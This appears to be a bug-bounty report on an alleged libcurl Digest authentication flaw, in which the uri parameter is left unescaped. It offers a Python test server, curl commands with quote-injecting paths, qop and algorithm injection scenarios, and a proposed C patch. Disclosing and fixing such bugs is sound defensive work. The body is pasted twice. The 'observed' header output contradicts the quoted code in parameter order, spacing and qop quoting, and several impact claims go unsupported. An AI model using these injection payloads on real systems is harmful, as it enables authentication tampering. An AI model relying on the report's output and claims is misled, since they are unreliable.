Description
## Summary
The Digest authentication implementation in `libcurl` fails to properly escape the `uri` parameter in the `Authorization` header. While other parameters like `username`, `realm`, and `nonce` are correctly escaped using `auth_digest_string_quoted()`, the `uri` is inserted raw into the header. This allows an attacker who can control the request URI to inject additional parameters into the HTTP `Authorization` header, potentially bypassing security controls or causing protocol confusion.
## Affected Component
- **File:** `lib/vauth/digest.c`
- **Function:** `auth_create_digest_http_message`
- **Lines:** 867-897
## Vulnerability Details
### Root Cause
In `lib/vauth/digest.c`, the Digest authentication response is constructed using `curl_maprintf`. The function properly escapes most parameters but fails to escape the `uri` parameter:
```c
/* lib/vauth/digest.c:867-882 */
if(digest->qop) {
response = curl_maprintf("username=\"%s\", "
"realm=\"%s\", "
"nonce=\"%s\", "
"uri=\"%s\", " // <- VULNERABLE: uri not escaped
"cnonce=\"%s\", "
"nc=%08x, "
"qop=%s, "
"response=\"%s\"",
userp_quoted, // <- username IS escaped
realm_quoted, // <- realm IS escaped
nonce_quoted, // <- nonce IS escaped
uripath, // <- uri NOT escaped
digest->cnonce,
digest->nc,
digest->qop,
request_digest);
}
```
Compare this to how `username` is handled:
```c
/* lib/vauth/digest.c:835-843 */
userp_quoted = auth_digest_string_quoted(userp);
if(!userp_quoted)
return CURLE_OUT_OF_MEMORY;
```
The `auth_digest_string_quoted()` function (lines 151-180) properly escapes double quotes and backslashes:
```c
static char *auth_digest_string_quoted(const char *source)
{
char *dest;
const char *s = source;
size_t n = 1; /* null-terminator */
/* Calculate size needed */
while(*s) {
++n;
if(*s == '"' || *s == '\\') {
++n; // Need extra byte for escape character
}
++s;
}
dest = curlx_malloc(n);
if(dest) {
char *d = dest;
s = source;
while(*s) {
if(*s == '"' || *s == '\\') {
*d++ = '\\'; // Add escape character
}
*d++ = *s++;
}
*d = '\0';
}
return dest;
}
```
### Attack Mechanism
If an attacker can control the URI path to include a double quote character, they can:
1. Terminate the `uri` field early
2. Inject arbitrary parameters into the Digest header
3. Potentially override security-critical parameters like `qop` or `algorithm`
## Proof of Concept
### Prerequisites
- curl with Digest authentication support
- Python 3.x for the test server
### Step 1: Create the Test Server
Save this as `digest_server.py`:
```python
import socket
import threading
import time
def start_server(port=8081):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', port))
s.listen(1)
print(f"[*] Digest test server listening on port {port}")
while True:
try:
conn, addr = s.accept()
data = conn.recv(4096).decode('utf-8', errors='replace')
if "Authorization: Digest" not in data:
# Send 401 challenge
response = (
"HTTP/1.1 401 Unauthorized\r\n"
"WWW-Authenticate: Digest realm=\"test\", "
"nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\", "
"qop=\"auth\"\r\n"
"Content-Length: 0\r\n"
"\r\n"
)
conn.sendall(response.encode())
print("[*] Sent 401 challenge")
else:
# Extract and display Authorization header
print("\n=== RECEIVED REQUEST ===")
for line in data.split('\r\n'):
if line.startswith('Authorization:'):
print(f"\n{line}\n")
# Highlight the injection
if 'injected=' in line:
print("[!] INJECTION DETECTED!")
print("[!] The 'injected' parameter should NOT be in the header")
# Send 200 OK
response = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK"
conn.sendall(response.encode())
conn.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
start_server()
```
### Step 2: Start the Server
```bash
python digest_server.py
```
### Step 3: Execute the Attack
In another terminal, run curl with a malicious path containing a double quote:
```bash
curl -v --path-as-is --digest 'http://user:[email protected]:8081/index.html",injected="true'
```
**Important:** The `--path-as-is` flag is required to prevent curl from normalizing the path.
### Step 4: Observe the Result
The server will display output similar to:
```
[*] Sent 401 challenge
=== RECEIVED REQUEST ===
Authorization: Digest username="user",realm="test",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",uri="/index.html",injected="true",cnonce="NjE3ZjJkMzQwYzQyMQ==",nc=00000001,response="6629fae49393a05397450978507c4ef1",qop="auth"
[!] INJECTION DETECTED!
[!] The 'injected' parameter should NOT be in the header
```
### Analysis of the Injected Header
The malicious path `/index.html",injected="true` causes the following header structure:
```
uri="/index.html",injected="true"
```
Instead of the expected:
```
uri="/index.html\",injected=\"true"
```
This demonstrates that:
1. The double quote in the path terminates the `uri` field
2. The attacker-controlled string `injected="true"` is inserted as a new parameter
3. The Digest authentication header is now malformed with an injected parameter
### Alternative PoC (Python Script)
```python
import subprocess
# Malicious URL with quote injection
url = 'http://user:[email protected]:8081/index.html",injected="true'
# Execute curl
cmd = ['curl', '-v', '--path-as-is', '--digest', url]
result = subprocess.run(cmd, capture_output=True, text=True)
print("=== STDERR (includes headers) ===")
print(result.stderr)
# Look for the injection
if 'injected="true"' in result.stderr:
print("\n[!] VULNERABILITY CONFIRMED")
print("[!] The injected parameter appears in the Authorization header")
else:
print("\n[*] Injection not detected in output")
```
## Impact
## Impact
### Security Implications
1. **Authentication Parameter Manipulation**
- Attacker can inject `qop="none"` to downgrade authentication
- Inject `algorithm="MD5"` to force weaker algorithms
- Add custom parameters that might confuse proxies or servers
2. **Protocol Confusion**
- Malformed headers may cause different parsing by intermediaries
- Could lead to request smuggling in certain proxy configurations
3. **Cache Poisoning**
- Injected parameters might affect cache keys
- Could lead to serving wrong content to users
4. **Logging and Monitoring Bypass**
- Security tools parsing the header may be confused
- Injected parameters might not be logged correctly
### Attack Scenarios
**Scenario 1: QoP Downgrade**
```bash
curl --digest 'http://user:[email protected]/path",qop="none'
```
Result: `uri="/path",qop="none",cnonce=...` - potentially downgrades authentication
**Scenario 2: Algorithm Manipulation**
```bash
curl --digest 'http://user:[email protected]/path",algorithm="MD5'
```
Result: Forces MD5 algorithm even if server supports stronger options
## Recommendation
### Fix
Update `lib/vauth/digest.c` to escape the `uri` parameter using `auth_digest_string_quoted()`:
```c
/* lib/vauth/digest.c - FIXED VERSION */
// Add this before constructing the response
char *uri_quoted = auth_digest_string_quoted(uripath);
if(!uri_quoted) {
curlx_free(nonce_quoted);
curlx_free(realm_quoted);
curlx_free(userp_quoted);
return CURLE_OUT_OF_MEMORY;
}
if(digest->qop) {
response = curl_maprintf("username=\"%s\", "
"realm=\"%s\", "
"nonce=\"%s\", "
"uri=\"%s\", " // Now using escaped version
"cnonce=\"%s\", "
"nc=%08x, "
"qop=%s, "
"response=\"%s\"",
userp_quoted,
realm_quoted,
nonce_quoted,
uri_quoted, // <- FIXED: using escaped uri
digest->cnonce,
digest->nc,
digest->qop,
request_digest);
}
// Don't forget to free
curlx_free(uri_quoted);
```
### Verification
After applying the fix, the PoC should result in a properly escaped header:
```
uri="/index.html\",injected=\"true"
```
The double quotes will be escaped and the injection will fail.
The Digest authentication implementation in `libcurl` fails to properly escape the `uri` parameter in the `Authorization` header. While other parameters like `username`, `realm`, and `nonce` are correctly escaped using `auth_digest_string_quoted()`, the `uri` is inserted raw into the header. This allows an attacker who can control the request URI to inject additional parameters into the HTTP `Authorization` header, potentially bypassing security controls or causing protocol confusion.
## Affected Component
- **File:** `lib/vauth/digest.c`
- **Function:** `auth_create_digest_http_message`
- **Lines:** 867-897
## Vulnerability Details
### Root Cause
In `lib/vauth/digest.c`, the Digest authentication response is constructed using `curl_maprintf`. The function properly escapes most parameters but fails to escape the `uri` parameter:
```c
/* lib/vauth/digest.c:867-882 */
if(digest->qop) {
response = curl_maprintf("username=\"%s\", "
"realm=\"%s\", "
"nonce=\"%s\", "
"uri=\"%s\", " // <- VULNERABLE: uri not escaped
"cnonce=\"%s\", "
"nc=%08x, "
"qop=%s, "
"response=\"%s\"",
userp_quoted, // <- username IS escaped
realm_quoted, // <- realm IS escaped
nonce_quoted, // <- nonce IS escaped
uripath, // <- uri NOT escaped
digest->cnonce,
digest->nc,
digest->qop,
request_digest);
}
```
Compare this to how `username` is handled:
```c
/* lib/vauth/digest.c:835-843 */
userp_quoted = auth_digest_string_quoted(userp);
if(!userp_quoted)
return CURLE_OUT_OF_MEMORY;
```
The `auth_digest_string_quoted()` function (lines 151-180) properly escapes double quotes and backslashes:
```c
static char *auth_digest_string_quoted(const char *source)
{
char *dest;
const char *s = source;
size_t n = 1; /* null-terminator */
/* Calculate size needed */
while(*s) {
++n;
if(*s == '"' || *s == '\\') {
++n; // Need extra byte for escape character
}
++s;
}
dest = curlx_malloc(n);
if(dest) {
char *d = dest;
s = source;
while(*s) {
if(*s == '"' || *s == '\\') {
*d++ = '\\'; // Add escape character
}
*d++ = *s++;
}
*d = '\0';
}
return dest;
}
```
### Attack Mechanism
If an attacker can control the URI path to include a double quote character, they can:
1. Terminate the `uri` field early
2. Inject arbitrary parameters into the Digest header
3. Potentially override security-critical parameters like `qop` or `algorithm`
## Proof of Concept
### Prerequisites
- curl with Digest authentication support
- Python 3.x for the test server
### Step 1: Create the Test Server
Save this as `digest_server.py`:
```python
import socket
import threading
import time
def start_server(port=8081):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', port))
s.listen(1)
print(f"[*] Digest test server listening on port {port}")
while True:
try:
conn, addr = s.accept()
data = conn.recv(4096).decode('utf-8', errors='replace')
if "Authorization: Digest" not in data:
# Send 401 challenge
response = (
"HTTP/1.1 401 Unauthorized\r\n"
"WWW-Authenticate: Digest realm=\"test\", "
"nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\", "
"qop=\"auth\"\r\n"
"Content-Length: 0\r\n"
"\r\n"
)
conn.sendall(response.encode())
print("[*] Sent 401 challenge")
else:
# Extract and display Authorization header
print("\n=== RECEIVED REQUEST ===")
for line in data.split('\r\n'):
if line.startswith('Authorization:'):
print(f"\n{line}\n")
# Highlight the injection
if 'injected=' in line:
print("[!] INJECTION DETECTED!")
print("[!] The 'injected' parameter should NOT be in the header")
# Send 200 OK
response = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK"
conn.sendall(response.encode())
conn.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
start_server()
```
### Step 2: Start the Server
```bash
python digest_server.py
```
### Step 3: Execute the Attack
In another terminal, run curl with a malicious path containing a double quote:
```bash
curl -v --path-as-is --digest 'http://user:[email protected]:8081/index.html",injected="true'
```
**Important:** The `--path-as-is` flag is required to prevent curl from normalizing the path.
### Step 4: Observe the Result
The server will display output similar to:
```
[*] Sent 401 challenge
=== RECEIVED REQUEST ===
Authorization: Digest username="user",realm="test",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",uri="/index.html",injected="true",cnonce="NjE3ZjJkMzQwYzQyMQ==",nc=00000001,response="6629fae49393a05397450978507c4ef1",qop="auth"
[!] INJECTION DETECTED!
[!] The 'injected' parameter should NOT be in the header
```
### Analysis of the Injected Header
The malicious path `/index.html",injected="true` causes the following header structure:
```
uri="/index.html",injected="true"
```
Instead of the expected:
```
uri="/index.html\",injected=\"true"
```
This demonstrates that:
1. The double quote in the path terminates the `uri` field
2. The attacker-controlled string `injected="true"` is inserted as a new parameter
3. The Digest authentication header is now malformed with an injected parameter
### Alternative PoC (Python Script)
```python
import subprocess
# Malicious URL with quote injection
url = 'http://user:[email protected]:8081/index.html",injected="true'
# Execute curl
cmd = ['curl', '-v', '--path-as-is', '--digest', url]
result = subprocess.run(cmd, capture_output=True, text=True)
print("=== STDERR (includes headers) ===")
print(result.stderr)
# Look for the injection
if 'injected="true"' in result.stderr:
print("\n[!] VULNERABILITY CONFIRMED")
print("[!] The injected parameter appears in the Authorization header")
else:
print("\n[*] Injection not detected in output")
```
## Impact
## Impact
### Security Implications
1. **Authentication Parameter Manipulation**
- Attacker can inject `qop="none"` to downgrade authentication
- Inject `algorithm="MD5"` to force weaker algorithms
- Add custom parameters that might confuse proxies or servers
2. **Protocol Confusion**
- Malformed headers may cause different parsing by intermediaries
- Could lead to request smuggling in certain proxy configurations
3. **Cache Poisoning**
- Injected parameters might affect cache keys
- Could lead to serving wrong content to users
4. **Logging and Monitoring Bypass**
- Security tools parsing the header may be confused
- Injected parameters might not be logged correctly
### Attack Scenarios
**Scenario 1: QoP Downgrade**
```bash
curl --digest 'http://user:[email protected]/path",qop="none'
```
Result: `uri="/path",qop="none",cnonce=...` - potentially downgrades authentication
**Scenario 2: Algorithm Manipulation**
```bash
curl --digest 'http://user:[email protected]/path",algorithm="MD5'
```
Result: Forces MD5 algorithm even if server supports stronger options
## Recommendation
### Fix
Update `lib/vauth/digest.c` to escape the `uri` parameter using `auth_digest_string_quoted()`:
```c
/* lib/vauth/digest.c - FIXED VERSION */
// Add this before constructing the response
char *uri_quoted = auth_digest_string_quoted(uripath);
if(!uri_quoted) {
curlx_free(nonce_quoted);
curlx_free(realm_quoted);
curlx_free(userp_quoted);
return CURLE_OUT_OF_MEMORY;
}
if(digest->qop) {
response = curl_maprintf("username=\"%s\", "
"realm=\"%s\", "
"nonce=\"%s\", "
"uri=\"%s\", " // Now using escaped version
"cnonce=\"%s\", "
"nc=%08x, "
"qop=%s, "
"response=\"%s\"",
userp_quoted,
realm_quoted,
nonce_quoted,
uri_quoted, // <- FIXED: using escaped uri
digest->cnonce,
digest->nc,
digest->qop,
request_digest);
}
// Don't forget to free
curlx_free(uri_quoted);
```
### Verification
After applying the fix, the PoC should result in a properly escaped header:
```
uri="/index.html\",injected=\"true"
```
The double quotes will be escaped and the injection will fail.
Basic Information
ID
H1:3508799
Published
Jan 13, 2026 at 13:30
Modified
Jan 14, 2026 at 10:02